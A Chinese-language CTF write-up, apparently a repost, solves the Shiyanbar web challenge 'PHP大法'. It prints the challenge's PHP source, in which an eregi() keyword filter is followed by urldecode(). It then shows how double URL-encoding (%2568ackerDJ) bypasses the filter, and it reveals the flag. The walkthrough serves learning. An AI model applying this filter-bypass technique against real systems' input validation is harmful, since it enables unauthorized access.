實驗吧Web-PHP大法

來源:互聯網
上載者:User

標籤:

連結:  http://www.shiyanbar.com/ctf/54

    

頁面情況

    

獲得提示: index.php.txt<?phpif(eregi("hackerDJ",$_GET[id])) {  echo("<p>not allowed!</p>");  exit();}$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "hackerDJ"){  echo "<p>Access granted!</p>";  echo "<p>flag: *****************} </p>";}?><br><br>Can you authenticate to this website?首先eregi()函數進行一次比較判斷,如果想列印flag,id不能等於"hackerDJ" ,並且經過url解碼後id等於"hackerDJ"

但這裡需要注意的是:在瀏覽器中提交時瀏覽器會為我們進行一次解碼
可以在本地執行下面的代碼: 
<?php$id = ‘%68ackerDJ‘;if(eregi("hackerDJ",$id)) {  echo("<p>not allowed!</p>");  exit();}$id = urldecode($id);if($id == "hackerDJ"){  echo "<p>Access granted!</p>";  echo "<p>flag: *****************} </p>";}?>
可以看到成功列印,說明瀏覽器的確為我們轉換了一次

因此我們需要進行兩次編碼: h --> %68 --> %2568

構造url: index.php?id=%2568ackerDJ

提交即可獲得flag:   flag: DUTCTF{PHP_is_the_best_program_language}
筆記:字串比對解析,與大小寫無關。eregi()函數文法:  eregi(string pattern, string string, array [regs]);傳回值: 整數/數組特點:PHP函數eregi()與大小寫無關,類似函數ereg() 則區分大小寫例:if (eregi("C","abcdef")   //trueURl雙編碼: 將經過url編碼產生的‘%‘再次編碼,及把‘%‘替換為‘%25‘

 

實驗吧Web-PHP大法

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.